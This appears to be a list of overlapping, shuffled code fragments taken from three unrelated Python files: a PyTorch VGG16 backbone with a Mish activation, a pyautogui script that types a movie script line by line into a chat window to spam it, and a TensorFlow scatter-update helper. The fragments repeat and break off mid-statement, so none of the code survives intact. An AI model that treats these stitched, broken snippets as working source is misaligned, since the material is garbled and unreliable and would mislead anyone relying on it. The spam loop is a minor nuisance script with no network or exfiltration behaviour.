"nn.BatchNorm2d(out_channels) self.activation = Mish() def forward(self, x): x = self.conv(x) x = self.bn(x)",
"# -*- coding = utf-8 -*- # @Time : 2022/1/8 15:41 # @Author",
"self.conv(x) x = self.bn(x) x = self.activation(x) return x class VGG16(nn.Module): def __init__(self):",
"summary # # if __name__ == \"__main__\": # # 需要使用device来指定网络在GPU还是CPU运行 # device =",
"\"__main__\": # # 需要使用device来指定网络在GPU还是CPU运行 # device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') #",
"class BasicConv(nn.Module): def __init__(self, in_channels, out_channels, kernel_size, stride=1): super(BasicConv, self).__init__() self.conv = nn.Conv2d(in_channels,",
"self.activation = Mish() def forward(self, x): x = self.conv(x) x = self.bn(x) x",
"激活函数 # Conv2d + BatchNormalization + Mish #---------------------------------------------------# class BasicConv(nn.Module): def __init__(self, in_channels,",
"== \"__main__\": # # 需要使用device来指定网络在GPU还是CPU运行 # device = torch.device('cuda' if torch.cuda.is_available() else 'cpu')",
"128, 3) self.layer4 = BasicConv(128, 256, 3) self.maxpool = nn.MaxPool2d(2) def forward(self,x): x",
"def __init__(self, in_channels, out_channels, kernel_size, stride=1): super(BasicConv, self).__init__() self.conv = nn.Conv2d(in_channels, out_channels, kernel_size,",
"= torch.device('cuda' if torch.cuda.is_available() else 'cpu') # m = VGG16().to(device) # summary(m, input_size=(1,",
"# @File : VGG16.py # @Software : PyCharm # @Contact : <EMAIL> #",
"# if __name__ == \"__main__\": # # 需要使用device来指定网络在GPU还是CPU运行 # device = torch.device('cuda' if",
"import torch import torch.nn as nn import torch.nn.functional as F #-------------------------------------------------# # MISH激活函数",
"256, 3) self.maxpool = nn.MaxPool2d(2) def forward(self,x): x = self.maxpool(self.layer1(x)) x = self.maxpool(self.layer2(x))",
"self.layer4(x) return x # import torch # from torchsummary import summary # #",
"#---------------------------------------------------# class BasicConv(nn.Module): def __init__(self, in_channels, out_channels, kernel_size, stride=1): super(BasicConv, self).__init__() self.conv =",
"torch.nn as nn import torch.nn.functional as F #-------------------------------------------------# # MISH激活函数 #-------------------------------------------------# class Mish(nn.Module):",
"bias=False) self.bn = nn.BatchNorm2d(out_channels) self.activation = Mish() def forward(self, x): x = self.conv(x)",
"= self.maxpool(self.layer2(x)) x = self.maxpool(self.layer3(x)) x = self.layer4(x) return x # import torch",
"BasicConv(128, 256, 3) self.maxpool = nn.MaxPool2d(2) def forward(self,x): x = self.maxpool(self.layer1(x)) x =",
"self.maxpool(self.layer1(x)) x = self.maxpool(self.layer2(x)) x = self.maxpool(self.layer3(x)) x = self.layer4(x) return x #",
": https://github.com/SekiroRong import math from collections import OrderedDict import torch import torch.nn as",
"64, 3) self.layer3 = BasicConv(64, 128, 3) self.layer4 = BasicConv(128, 256, 3) self.maxpool",
"<reponame>SekiroRong/YOLOP<gh_stars>1-10 # -*- coding = utf-8 -*- # @Time : 2022/1/8 15:41 #",
"forward(self, x): return x * torch.tanh(F.softplus(x)) #---------------------------------------------------# # 卷积块 -> 卷积 + 标准化",
"# @Contact : <EMAIL> # @github : https://github.com/SekiroRong import math from collections import",
"torch.tanh(F.softplus(x)) #---------------------------------------------------# # 卷积块 -> 卷积 + 标准化 + 激活函数 # Conv2d +",
"= BasicConv(64, 128, 3) self.layer4 = BasicConv(128, 256, 3) self.maxpool = nn.MaxPool2d(2) def",
"MISH激活函数 #-------------------------------------------------# class Mish(nn.Module): def __init__(self): super(Mish, self).__init__() def forward(self, x): return x",
"self.layer3 = BasicConv(64, 128, 3) self.layer4 = BasicConv(128, 256, 3) self.maxpool = nn.MaxPool2d(2)",
"-*- coding = utf-8 -*- # @Time : 2022/1/8 15:41 # @Author :",
": 2022/1/8 15:41 # @Author : 戎昱 # @File : VGG16.py # @Software",
"BasicConv(64, 128, 3) self.layer4 = BasicConv(128, 256, 3) self.maxpool = nn.MaxPool2d(2) def forward(self,x):",
"super(Mish, self).__init__() def forward(self, x): return x * torch.tanh(F.softplus(x)) #---------------------------------------------------# # 卷积块 ->",
"x * torch.tanh(F.softplus(x)) #---------------------------------------------------# # 卷积块 -> 卷积 + 标准化 + 激活函数 #",
"if __name__ == \"__main__\": # # 需要使用device来指定网络在GPU还是CPU运行 # device = torch.device('cuda' if torch.cuda.is_available()",
"+ 标准化 + 激活函数 # Conv2d + BatchNormalization + Mish #---------------------------------------------------# class BasicConv(nn.Module):",
"def forward(self, x): return x * torch.tanh(F.softplus(x)) #---------------------------------------------------# # 卷积块 -> 卷积 +",
"= self.conv(x) x = self.bn(x) x = self.activation(x) return x class VGG16(nn.Module): def",
"# @Author : 戎昱 # @File : VGG16.py # @Software : PyCharm #",
"self.layer1 = BasicConv(3, 32, 3) self.layer2 = BasicConv(32, 64, 3) self.layer3 = BasicConv(64,",
"class Mish(nn.Module): def __init__(self): super(Mish, self).__init__() def forward(self, x): return x * torch.tanh(F.softplus(x))",
"x class VGG16(nn.Module): def __init__(self): super(VGG16, self).__init__() self.layer1 = BasicConv(3, 32, 3) self.layer2",
": 戎昱 # @File : VGG16.py # @Software : PyCharm # @Contact :",
"super(VGG16, self).__init__() self.layer1 = BasicConv(3, 32, 3) self.layer2 = BasicConv(32, 64, 3) self.layer3",
"import torch.nn.functional as F #-------------------------------------------------# # MISH激活函数 #-------------------------------------------------# class Mish(nn.Module): def __init__(self): super(Mish,",
"from collections import OrderedDict import torch import torch.nn as nn import torch.nn.functional as",
"self.layer4 = BasicConv(128, 256, 3) self.maxpool = nn.MaxPool2d(2) def forward(self,x): x = self.maxpool(self.layer1(x))",
"# # if __name__ == \"__main__\": # # 需要使用device来指定网络在GPU还是CPU运行 # device = torch.device('cuda'",
"BasicConv(nn.Module): def __init__(self, in_channels, out_channels, kernel_size, stride=1): super(BasicConv, self).__init__() self.conv = nn.Conv2d(in_channels, out_channels,",
"self).__init__() self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride, kernel_size//2, bias=False) self.bn = nn.BatchNorm2d(out_channels) self.activation",
"PyCharm # @Contact : <EMAIL> # @github : https://github.com/SekiroRong import math from collections",
"F #-------------------------------------------------# # MISH激活函数 #-------------------------------------------------# class Mish(nn.Module): def __init__(self): super(Mish, self).__init__() def forward(self,",
": <EMAIL> # @github : https://github.com/SekiroRong import math from collections import OrderedDict import",
"kernel_size, stride, kernel_size//2, bias=False) self.bn = nn.BatchNorm2d(out_channels) self.activation = Mish() def forward(self, x):",
"2022/1/8 15:41 # @Author : 戎昱 # @File : VGG16.py # @Software :",
"forward(self,x): x = self.maxpool(self.layer1(x)) x = self.maxpool(self.layer2(x)) x = self.maxpool(self.layer3(x)) x = self.layer4(x)",
"= self.maxpool(self.layer3(x)) x = self.layer4(x) return x # import torch # from torchsummary",
"nn.Conv2d(in_channels, out_channels, kernel_size, stride, kernel_size//2, bias=False) self.bn = nn.BatchNorm2d(out_channels) self.activation = Mish() def",
"x = self.activation(x) return x class VGG16(nn.Module): def __init__(self): super(VGG16, self).__init__() self.layer1 =",
"= self.layer4(x) return x # import torch # from torchsummary import summary #",
"return x * torch.tanh(F.softplus(x)) #---------------------------------------------------# # 卷积块 -> 卷积 + 标准化 + 激活函数",
"stride, kernel_size//2, bias=False) self.bn = nn.BatchNorm2d(out_channels) self.activation = Mish() def forward(self, x): x",
"BasicConv(32, 64, 3) self.layer3 = BasicConv(64, 128, 3) self.layer4 = BasicConv(128, 256, 3)",
"#-------------------------------------------------# # MISH激活函数 #-------------------------------------------------# class Mish(nn.Module): def __init__(self): super(Mish, self).__init__() def forward(self, x):",
"32, 3) self.layer2 = BasicConv(32, 64, 3) self.layer3 = BasicConv(64, 128, 3) self.layer4",
"coding = utf-8 -*- # @Time : 2022/1/8 15:41 # @Author : 戎昱",
"out_channels, kernel_size, stride, kernel_size//2, bias=False) self.bn = nn.BatchNorm2d(out_channels) self.activation = Mish() def forward(self,",
"torch # from torchsummary import summary # # if __name__ == \"__main__\": #",
"# 需要使用device来指定网络在GPU还是CPU运行 # device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') # m =",
"# MISH激活函数 #-------------------------------------------------# class Mish(nn.Module): def __init__(self): super(Mish, self).__init__() def forward(self, x): return",
"out_channels, kernel_size, stride=1): super(BasicConv, self).__init__() self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride, kernel_size//2, bias=False)",
"VGG16.py # @Software : PyCharm # @Contact : <EMAIL> # @github : https://github.com/SekiroRong",
"def __init__(self): super(Mish, self).__init__() def forward(self, x): return x * torch.tanh(F.softplus(x)) #---------------------------------------------------# #",
"self).__init__() def forward(self, x): return x * torch.tanh(F.softplus(x)) #---------------------------------------------------# # 卷积块 -> 卷积",
"return x class VGG16(nn.Module): def __init__(self): super(VGG16, self).__init__() self.layer1 = BasicConv(3, 32, 3)",
"= nn.Conv2d(in_channels, out_channels, kernel_size, stride, kernel_size//2, bias=False) self.bn = nn.BatchNorm2d(out_channels) self.activation = Mish()",
"-> 卷积 + 标准化 + 激活函数 # Conv2d + BatchNormalization + Mish #---------------------------------------------------#",
"= BasicConv(32, 64, 3) self.layer3 = BasicConv(64, 128, 3) self.layer4 = BasicConv(128, 256,",
"def forward(self, x): x = self.conv(x) x = self.bn(x) x = self.activation(x) return",
"self.bn(x) x = self.activation(x) return x class VGG16(nn.Module): def __init__(self): super(VGG16, self).__init__() self.layer1",
"3) self.maxpool = nn.MaxPool2d(2) def forward(self,x): x = self.maxpool(self.layer1(x)) x = self.maxpool(self.layer2(x)) x",
"self.activation(x) return x class VGG16(nn.Module): def __init__(self): super(VGG16, self).__init__() self.layer1 = BasicConv(3, 32,",
"标准化 + 激活函数 # Conv2d + BatchNormalization + Mish #---------------------------------------------------# class BasicConv(nn.Module): def",
"# @Time : 2022/1/8 15:41 # @Author : 戎昱 # @File : VGG16.py",
"self.layer2 = BasicConv(32, 64, 3) self.layer3 = BasicConv(64, 128, 3) self.layer4 = BasicConv(128,",
"self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride, kernel_size//2, bias=False) self.bn = nn.BatchNorm2d(out_channels) self.activation =",
"__init__(self, in_channels, out_channels, kernel_size, stride=1): super(BasicConv, self).__init__() self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride,",
"x = self.maxpool(self.layer2(x)) x = self.maxpool(self.layer3(x)) x = self.layer4(x) return x # import",
"需要使用device来指定网络在GPU还是CPU运行 # device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') # m = VGG16().to(device)",
"return x # import torch # from torchsummary import summary # # if",
"torch.device('cuda' if torch.cuda.is_available() else 'cpu') # m = VGG16().to(device) # summary(m, input_size=(1, 640,",
"@Author : 戎昱 # @File : VGG16.py # @Software : PyCharm # @Contact",
"math from collections import OrderedDict import torch import torch.nn as nn import torch.nn.functional",
"kernel_size//2, bias=False) self.bn = nn.BatchNorm2d(out_channels) self.activation = Mish() def forward(self, x): x =",
"x = self.conv(x) x = self.bn(x) x = self.activation(x) return x class VGG16(nn.Module):",
"torch import torch.nn as nn import torch.nn.functional as F #-------------------------------------------------# # MISH激活函数 #-------------------------------------------------#",
"if torch.cuda.is_available() else 'cpu') # m = VGG16().to(device) # summary(m, input_size=(1, 640, 480))",
"# @Software : PyCharm # @Contact : <EMAIL> # @github : https://github.com/SekiroRong import",
"@Time : 2022/1/8 15:41 # @Author : 戎昱 # @File : VGG16.py #",
"@Contact : <EMAIL> # @github : https://github.com/SekiroRong import math from collections import OrderedDict",
"3) self.layer4 = BasicConv(128, 256, 3) self.maxpool = nn.MaxPool2d(2) def forward(self,x): x =",
"#---------------------------------------------------# # 卷积块 -> 卷积 + 标准化 + 激活函数 # Conv2d + BatchNormalization",
"# 卷积块 -> 卷积 + 标准化 + 激活函数 # Conv2d + BatchNormalization +",
"= self.maxpool(self.layer1(x)) x = self.maxpool(self.layer2(x)) x = self.maxpool(self.layer3(x)) x = self.layer4(x) return x",
"__init__(self): super(VGG16, self).__init__() self.layer1 = BasicConv(3, 32, 3) self.layer2 = BasicConv(32, 64, 3)",
"* torch.tanh(F.softplus(x)) #---------------------------------------------------# # 卷积块 -> 卷积 + 标准化 + 激活函数 # Conv2d",
"self.maxpool(self.layer3(x)) x = self.layer4(x) return x # import torch # from torchsummary import",
"= self.bn(x) x = self.activation(x) return x class VGG16(nn.Module): def __init__(self): super(VGG16, self).__init__()",
"self.bn = nn.BatchNorm2d(out_channels) self.activation = Mish() def forward(self, x): x = self.conv(x) x",
"= utf-8 -*- # @Time : 2022/1/8 15:41 # @Author : 戎昱 #",
"self.maxpool = nn.MaxPool2d(2) def forward(self,x): x = self.maxpool(self.layer1(x)) x = self.maxpool(self.layer2(x)) x =",
"VGG16(nn.Module): def __init__(self): super(VGG16, self).__init__() self.layer1 = BasicConv(3, 32, 3) self.layer2 = BasicConv(32,",
"= self.activation(x) return x class VGG16(nn.Module): def __init__(self): super(VGG16, self).__init__() self.layer1 = BasicConv(3,",
"import math from collections import OrderedDict import torch import torch.nn as nn import",
"15:41 # @Author : 戎昱 # @File : VGG16.py # @Software : PyCharm",
"import summary # # if __name__ == \"__main__\": # # 需要使用device来指定网络在GPU还是CPU运行 # device",
"卷积块 -> 卷积 + 标准化 + 激活函数 # Conv2d + BatchNormalization + Mish",
"as nn import torch.nn.functional as F #-------------------------------------------------# # MISH激活函数 #-------------------------------------------------# class Mish(nn.Module): def",
"+ 激活函数 # Conv2d + BatchNormalization + Mish #---------------------------------------------------# class BasicConv(nn.Module): def __init__(self,",
"stride=1): super(BasicConv, self).__init__() self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride, kernel_size//2, bias=False) self.bn =",
"= nn.BatchNorm2d(out_channels) self.activation = Mish() def forward(self, x): x = self.conv(x) x =",
"torchsummary import summary # # if __name__ == \"__main__\": # # 需要使用device来指定网络在GPU还是CPU运行 #",
"= BasicConv(128, 256, 3) self.maxpool = nn.MaxPool2d(2) def forward(self,x): x = self.maxpool(self.layer1(x)) x",
"@File : VGG16.py # @Software : PyCharm # @Contact : <EMAIL> # @github",
"utf-8 -*- # @Time : 2022/1/8 15:41 # @Author : 戎昱 # @File",
"__init__(self): super(Mish, self).__init__() def forward(self, x): return x * torch.tanh(F.softplus(x)) #---------------------------------------------------# # 卷积块",
"# import torch # from torchsummary import summary # # if __name__ ==",
"forward(self, x): x = self.conv(x) x = self.bn(x) x = self.activation(x) return x",
"Mish() def forward(self, x): x = self.conv(x) x = self.bn(x) x = self.activation(x)",
"卷积 + 标准化 + 激活函数 # Conv2d + BatchNormalization + Mish #---------------------------------------------------# class",
"collections import OrderedDict import torch import torch.nn as nn import torch.nn.functional as F",
"self.maxpool(self.layer2(x)) x = self.maxpool(self.layer3(x)) x = self.layer4(x) return x # import torch #",
"OrderedDict import torch import torch.nn as nn import torch.nn.functional as F #-------------------------------------------------# #",
"class VGG16(nn.Module): def __init__(self): super(VGG16, self).__init__() self.layer1 = BasicConv(3, 32, 3) self.layer2 =",
"@github : https://github.com/SekiroRong import math from collections import OrderedDict import torch import torch.nn",
"= nn.MaxPool2d(2) def forward(self,x): x = self.maxpool(self.layer1(x)) x = self.maxpool(self.layer2(x)) x = self.maxpool(self.layer3(x))",
"nn.MaxPool2d(2) def forward(self,x): x = self.maxpool(self.layer1(x)) x = self.maxpool(self.layer2(x)) x = self.maxpool(self.layer3(x)) x",
"device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') # m = VGG16().to(device) # summary(m,",
"super(BasicConv, self).__init__() self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride, kernel_size//2, bias=False) self.bn = nn.BatchNorm2d(out_channels)",
"as F #-------------------------------------------------# # MISH激活函数 #-------------------------------------------------# class Mish(nn.Module): def __init__(self): super(Mish, self).__init__() def",
"+ BatchNormalization + Mish #---------------------------------------------------# class BasicConv(nn.Module): def __init__(self, in_channels, out_channels, kernel_size, stride=1):",
"戎昱 # @File : VGG16.py # @Software : PyCharm # @Contact : <EMAIL>",
"# # 需要使用device来指定网络在GPU还是CPU运行 # device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') # m",
": PyCharm # @Contact : <EMAIL> # @github : https://github.com/SekiroRong import math from",
"= Mish() def forward(self, x): x = self.conv(x) x = self.bn(x) x =",
"# @github : https://github.com/SekiroRong import math from collections import OrderedDict import torch import",
"Mish #---------------------------------------------------# class BasicConv(nn.Module): def __init__(self, in_channels, out_channels, kernel_size, stride=1): super(BasicConv, self).__init__() self.conv",
"x = self.maxpool(self.layer1(x)) x = self.maxpool(self.layer2(x)) x = self.maxpool(self.layer3(x)) x = self.layer4(x) return",
"Mish(nn.Module): def __init__(self): super(Mish, self).__init__() def forward(self, x): return x * torch.tanh(F.softplus(x)) #---------------------------------------------------#",
"3) self.layer3 = BasicConv(64, 128, 3) self.layer4 = BasicConv(128, 256, 3) self.maxpool =",
"def forward(self,x): x = self.maxpool(self.layer1(x)) x = self.maxpool(self.layer2(x)) x = self.maxpool(self.layer3(x)) x =",
"Conv2d + BatchNormalization + Mish #---------------------------------------------------# class BasicConv(nn.Module): def __init__(self, in_channels, out_channels, kernel_size,",
"x): x = self.conv(x) x = self.bn(x) x = self.activation(x) return x class",
"= BasicConv(3, 32, 3) self.layer2 = BasicConv(32, 64, 3) self.layer3 = BasicConv(64, 128,",
"+ Mish #---------------------------------------------------# class BasicConv(nn.Module): def __init__(self, in_channels, out_channels, kernel_size, stride=1): super(BasicConv, self).__init__()",
"3) self.layer2 = BasicConv(32, 64, 3) self.layer3 = BasicConv(64, 128, 3) self.layer4 =",
"x): return x * torch.tanh(F.softplus(x)) #---------------------------------------------------# # 卷积块 -> 卷积 + 标准化 +",
"x = self.maxpool(self.layer3(x)) x = self.layer4(x) return x # import torch # from",
"__name__ == \"__main__\": # # 需要使用device来指定网络在GPU还是CPU运行 # device = torch.device('cuda' if torch.cuda.is_available() else",
"-*- # @Time : 2022/1/8 15:41 # @Author : 戎昱 # @File :",
"# device = torch.device('cuda' if torch.cuda.is_available() else 'cpu') # m = VGG16().to(device) #",
": VGG16.py # @Software : PyCharm # @Contact : <EMAIL> # @github :",
"<EMAIL> # @github : https://github.com/SekiroRong import math from collections import OrderedDict import torch",
"BasicConv(3, 32, 3) self.layer2 = BasicConv(32, 64, 3) self.layer3 = BasicConv(64, 128, 3)",
"self).__init__() self.layer1 = BasicConv(3, 32, 3) self.layer2 = BasicConv(32, 64, 3) self.layer3 =",
"in_channels, out_channels, kernel_size, stride=1): super(BasicConv, self).__init__() self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride, kernel_size//2,",
"x # import torch # from torchsummary import summary # # if __name__",
"# Conv2d + BatchNormalization + Mish #---------------------------------------------------# class BasicConv(nn.Module): def __init__(self, in_channels, out_channels,",
"x = self.layer4(x) return x # import torch # from torchsummary import summary",
"https://github.com/SekiroRong import math from collections import OrderedDict import torch import torch.nn as nn",
"kernel_size, stride=1): super(BasicConv, self).__init__() self.conv = nn.Conv2d(in_channels, out_channels, kernel_size, stride, kernel_size//2, bias=False) self.bn",
"BatchNormalization + Mish #---------------------------------------------------# class BasicConv(nn.Module): def __init__(self, in_channels, out_channels, kernel_size, stride=1): super(BasicConv,",
"nn import torch.nn.functional as F #-------------------------------------------------# # MISH激活函数 #-------------------------------------------------# class Mish(nn.Module): def __init__(self):",
"# from torchsummary import summary # # if __name__ == \"__main__\": # #",
"import torch # from torchsummary import summary # # if __name__ == \"__main__\":",
"from torchsummary import summary # # if __name__ == \"__main__\": # # 需要使用device来指定网络在GPU还是CPU运行",
"x = self.bn(x) x = self.activation(x) return x class VGG16(nn.Module): def __init__(self): super(VGG16,",
"import torch.nn as nn import torch.nn.functional as F #-------------------------------------------------# # MISH激活函数 #-------------------------------------------------# class",
"#-------------------------------------------------# class Mish(nn.Module): def __init__(self): super(Mish, self).__init__() def forward(self, x): return x *",
"torch.nn.functional as F #-------------------------------------------------# # MISH激活函数 #-------------------------------------------------# class Mish(nn.Module): def __init__(self): super(Mish, self).__init__()",
"def __init__(self): super(VGG16, self).__init__() self.layer1 = BasicConv(3, 32, 3) self.layer2 = BasicConv(32, 64,",
"import OrderedDict import torch import torch.nn as nn import torch.nn.functional as F #-------------------------------------------------#",
"@Software : PyCharm # @Contact : <EMAIL> # @github : https://github.com/SekiroRong import math"
] |
[
"# delay to switch windows time.sleep(10) # content you want to spam with",
"to spam with f = open(\"idoc.pub_green-lantern-movie-script.txt\", 'r') # loop to spam for word",
"'r') # loop to spam for word in f: # fetch and type",
"word from the file pyautogui.write(word) # press enter to send the message pyautogui.press('enter')",
"loop to spam for word in f: # fetch and type each word",
"spam with f = open(\"idoc.pub_green-lantern-movie-script.txt\", 'r') # loop to spam for word in",
"f: # fetch and type each word from the file pyautogui.write(word) # press",
"type each word from the file pyautogui.write(word) # press enter to send the",
"to switch windows time.sleep(10) # content you want to spam with f =",
"fetch and type each word from the file pyautogui.write(word) # press enter to",
"open(\"idoc.pub_green-lantern-movie-script.txt\", 'r') # loop to spam for word in f: # fetch and",
"importing the required libraries import pyautogui, time # delay to switch windows time.sleep(10)",
"libraries import pyautogui, time # delay to switch windows time.sleep(10) # content you",
"in f: # fetch and type each word from the file pyautogui.write(word) #",
"content you want to spam with f = open(\"idoc.pub_green-lantern-movie-script.txt\", 'r') # loop to",
"want to spam with f = open(\"idoc.pub_green-lantern-movie-script.txt\", 'r') # loop to spam for",
"= open(\"idoc.pub_green-lantern-movie-script.txt\", 'r') # loop to spam for word in f: # fetch",
"you want to spam with f = open(\"idoc.pub_green-lantern-movie-script.txt\", 'r') # loop to spam",
"with f = open(\"idoc.pub_green-lantern-movie-script.txt\", 'r') # loop to spam for word in f:",
"time.sleep(10) # content you want to spam with f = open(\"idoc.pub_green-lantern-movie-script.txt\", 'r') #",
"each word from the file pyautogui.write(word) # press enter to send the message",
"time # delay to switch windows time.sleep(10) # content you want to spam",
"# content you want to spam with f = open(\"idoc.pub_green-lantern-movie-script.txt\", 'r') # loop",
"f = open(\"idoc.pub_green-lantern-movie-script.txt\", 'r') # loop to spam for word in f: #",
"# importing the required libraries import pyautogui, time # delay to switch windows",
"required libraries import pyautogui, time # delay to switch windows time.sleep(10) # content",
"switch windows time.sleep(10) # content you want to spam with f = open(\"idoc.pub_green-lantern-movie-script.txt\",",
"and type each word from the file pyautogui.write(word) # press enter to send",
"# fetch and type each word from the file pyautogui.write(word) # press enter",
"spam for word in f: # fetch and type each word from the",
"for word in f: # fetch and type each word from the file",
"windows time.sleep(10) # content you want to spam with f = open(\"idoc.pub_green-lantern-movie-script.txt\", 'r')",
"pyautogui, time # delay to switch windows time.sleep(10) # content you want to",
"# loop to spam for word in f: # fetch and type each",
"import pyautogui, time # delay to switch windows time.sleep(10) # content you want",
"to spam for word in f: # fetch and type each word from",
"word in f: # fetch and type each word from the file pyautogui.write(word)",
"the required libraries import pyautogui, time # delay to switch windows time.sleep(10) #",
"delay to switch windows time.sleep(10) # content you want to spam with f"
] |
[
"tf.tensor_scatter_nd_max(tensor, indices, updates, name=name) elif segment_name in [\"segment_min\", \"min\", \"reduce_min\"]: pool = tf.tensor_scatter_nd_min(tensor,",
"= tf.tensor_scatter_nd_max(tensor, indices, updates, name=name) elif segment_name in [\"segment_min\", \"min\", \"reduce_min\"]: pool =",
"tensor_scatter_nd functions. Args: segment_name (str): Operation to update scattered updates. Either 'sum' or",
"into. indices (tf.Tensor): Indices to for updates. updates (tf.Tensor): Updates of new entries",
"scatter updates into. indices (tf.Tensor): Indices to for updates. updates (tf.Tensor): Updates of",
"scattered updates. Either 'sum' or 'min' etc. tensor (tf.Tensor): Tensor to scatter updates",
"(tf.Tensor): Indices to for updates. updates (tf.Tensor): Updates of new entries for tensor.",
"indices, updates, name=name) elif segment_name in [\"segment_min\", \"min\", \"reduce_min\"]: pool = tf.tensor_scatter_nd_min(tensor, indices,",
"in [\"segment_sum\", \"sum\", \"reduce_sum\", \"add\"]: pool = tf.tensor_scatter_nd_add(tensor, indices, updates, name=name) elif segment_name",
"Operation to update scattered updates. Either 'sum' or 'min' etc. tensor (tf.Tensor): Tensor",
"[\"segment_sum\", \"sum\", \"reduce_sum\", \"add\"]: pool = tf.tensor_scatter_nd_add(tensor, indices, updates, name=name) elif segment_name in",
"with different update rules. \"\"\" if segment_name in [\"segment_sum\", \"sum\", \"reduce_sum\", \"add\"]: pool",
"Updates scattered into tensor with different update rules. \"\"\" if segment_name in [\"segment_sum\",",
"tensor. name (str): Name of the tensor. Returns: tf.Tensor: Updates scattered into tensor",
"'min' etc. tensor (tf.Tensor): Tensor to scatter updates into. indices (tf.Tensor): Indices to",
"name (str): Name of the tensor. Returns: tf.Tensor: Updates scattered into tensor with",
"or 'min' etc. tensor (tf.Tensor): Tensor to scatter updates into. indices (tf.Tensor): Indices",
"updates into. indices (tf.Tensor): Indices to for updates. updates (tf.Tensor): Updates of new",
"indices, updates, name=None): \"\"\"Scatter operation chosen by name that pick tensor_scatter_nd functions. Args:",
"segment_name in [\"segment_sum\", \"sum\", \"reduce_sum\", \"add\"]: pool = tf.tensor_scatter_nd_add(tensor, indices, updates, name=name) elif",
"indices, updates, name=name) else: raise TypeError(\"Unknown pooling, choose: 'mean', 'sum', ...\") return pool",
"for updates. updates (tf.Tensor): Updates of new entries for tensor. name (str): Name",
"segment_name (str): Operation to update scattered updates. Either 'sum' or 'min' etc. tensor",
"of the tensor. Returns: tf.Tensor: Updates scattered into tensor with different update rules.",
"to for updates. updates (tf.Tensor): Updates of new entries for tensor. name (str):",
"in [\"segment_min\", \"min\", \"reduce_min\"]: pool = tf.tensor_scatter_nd_min(tensor, indices, updates, name=name) else: raise TypeError(\"Unknown",
"pick tensor_scatter_nd functions. Args: segment_name (str): Operation to update scattered updates. Either 'sum'",
"tensor, indices, updates, name=None): \"\"\"Scatter operation chosen by name that pick tensor_scatter_nd functions.",
"@tf.function def tensor_scatter_nd_ops_by_name(segment_name, tensor, indices, updates, name=None): \"\"\"Scatter operation chosen by name that",
"[\"segment_min\", \"min\", \"reduce_min\"]: pool = tf.tensor_scatter_nd_min(tensor, indices, updates, name=name) else: raise TypeError(\"Unknown pooling,",
"the tensor. Returns: tf.Tensor: Updates scattered into tensor with different update rules. \"\"\"",
"(str): Name of the tensor. Returns: tf.Tensor: Updates scattered into tensor with different",
"\"reduce_max\"]: pool = tf.tensor_scatter_nd_max(tensor, indices, updates, name=name) elif segment_name in [\"segment_min\", \"min\", \"reduce_min\"]:",
"pool = tf.tensor_scatter_nd_max(tensor, indices, updates, name=name) elif segment_name in [\"segment_min\", \"min\", \"reduce_min\"]: pool",
"\"\"\" if segment_name in [\"segment_sum\", \"sum\", \"reduce_sum\", \"add\"]: pool = tf.tensor_scatter_nd_add(tensor, indices, updates,",
"\"reduce_min\"]: pool = tf.tensor_scatter_nd_min(tensor, indices, updates, name=name) else: raise TypeError(\"Unknown pooling, choose: 'mean',",
"by name that pick tensor_scatter_nd functions. Args: segment_name (str): Operation to update scattered",
"to scatter updates into. indices (tf.Tensor): Indices to for updates. updates (tf.Tensor): Updates",
"Tensor to scatter updates into. indices (tf.Tensor): Indices to for updates. updates (tf.Tensor):",
"if segment_name in [\"segment_sum\", \"sum\", \"reduce_sum\", \"add\"]: pool = tf.tensor_scatter_nd_add(tensor, indices, updates, name=name)",
"\"sum\", \"reduce_sum\", \"add\"]: pool = tf.tensor_scatter_nd_add(tensor, indices, updates, name=name) elif segment_name in [\"segment_max\",",
"tensor with different update rules. \"\"\" if segment_name in [\"segment_sum\", \"sum\", \"reduce_sum\", \"add\"]:",
"updates, name=name) elif segment_name in [\"segment_min\", \"min\", \"reduce_min\"]: pool = tf.tensor_scatter_nd_min(tensor, indices, updates,",
"segment_name in [\"segment_max\", \"max\", \"reduce_max\"]: pool = tf.tensor_scatter_nd_max(tensor, indices, updates, name=name) elif segment_name",
"[\"segment_max\", \"max\", \"reduce_max\"]: pool = tf.tensor_scatter_nd_max(tensor, indices, updates, name=name) elif segment_name in [\"segment_min\",",
"Updates of new entries for tensor. name (str): Name of the tensor. Returns:",
"indices, updates, name=name) elif segment_name in [\"segment_max\", \"max\", \"reduce_max\"]: pool = tf.tensor_scatter_nd_max(tensor, indices,",
"\"min\", \"reduce_min\"]: pool = tf.tensor_scatter_nd_min(tensor, indices, updates, name=name) else: raise TypeError(\"Unknown pooling, choose:",
"= tf.tensor_scatter_nd_min(tensor, indices, updates, name=name) else: raise TypeError(\"Unknown pooling, choose: 'mean', 'sum', ...\")",
"updates, name=name) elif segment_name in [\"segment_max\", \"max\", \"reduce_max\"]: pool = tf.tensor_scatter_nd_max(tensor, indices, updates,",
"name=None): \"\"\"Scatter operation chosen by name that pick tensor_scatter_nd functions. Args: segment_name (str):",
"operation chosen by name that pick tensor_scatter_nd functions. Args: segment_name (str): Operation to",
"updates. Either 'sum' or 'min' etc. tensor (tf.Tensor): Tensor to scatter updates into.",
"(tf.Tensor): Tensor to scatter updates into. indices (tf.Tensor): Indices to for updates. updates",
"for tensor. name (str): Name of the tensor. Returns: tf.Tensor: Updates scattered into",
"indices (tf.Tensor): Indices to for updates. updates (tf.Tensor): Updates of new entries for",
"pool = tf.tensor_scatter_nd_min(tensor, indices, updates, name=name) else: raise TypeError(\"Unknown pooling, choose: 'mean', 'sum',",
"update rules. \"\"\" if segment_name in [\"segment_sum\", \"sum\", \"reduce_sum\", \"add\"]: pool = tf.tensor_scatter_nd_add(tensor,",
"Either 'sum' or 'min' etc. tensor (tf.Tensor): Tensor to scatter updates into. indices",
"to update scattered updates. Either 'sum' or 'min' etc. tensor (tf.Tensor): Tensor to",
"as tf @tf.function def tensor_scatter_nd_ops_by_name(segment_name, tensor, indices, updates, name=None): \"\"\"Scatter operation chosen by",
"tensor (tf.Tensor): Tensor to scatter updates into. indices (tf.Tensor): Indices to for updates.",
